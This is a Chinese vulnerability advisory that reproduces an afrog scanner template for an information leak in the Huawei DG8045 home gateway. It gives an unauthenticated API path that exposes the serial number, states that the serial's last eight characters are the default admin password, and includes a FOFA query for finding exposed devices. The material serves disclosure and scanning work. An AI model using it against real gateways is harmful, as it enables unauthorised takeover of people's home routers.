huawei-dg8045-home-gateway-password-leakage: Huawei DG8045 deviceinfo 信息泄漏漏洞

日期: 2025-09-01 | 影响软件: Huawei DG8045 | POC: 已公开

漏洞描述

Huawei DG8045 deviceinfo api接口存在信息泄漏漏洞，攻击者通过泄漏的信息可以获得账号密码登录后台。 ------------ SerialNumber 后8位即为初始密码------------ fofa: app="DG8045-Home-Gateway-DG8045"

PoC代码[已公开]

id: huawei-dg8045-home-gateway-password-leakage

info:
  name: Huawei DG8045 deviceinfo 信息泄漏漏洞
  author: zan8in
  severity: high
  verified: true
  description: |
    Huawei DG8045 deviceinfo api接口存在信息泄漏漏洞，攻击者通过泄漏的信息可以获得账号密码登录后台。
    ------------ SerialNumber 后8位即为初始密码------------
    fofa: app="DG8045-Home-Gateway-DG8045"
  reference:
    - http://wiki.peiqi.tech/wiki/iot/%E5%8D%8E%E4%B8%BA/Huawei%20DG8045%20deviceinfo%20%E4%BF%A1%E6%81%AF%E6%B3%84%E6%BC%8F%E6%BC%8F%E6%B4%9E.html

rules:
  r0:
    request:
      method: GET
      path: /api/system/deviceinfo
    expression: response.status == 200 && response.body.bcontains(b'"DeviceName":') && response.body.bcontains(b'"SerialNumber":')
expression: r0()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/disclosure/huawei-dg8045-home-gateway-password-leakage.yaml

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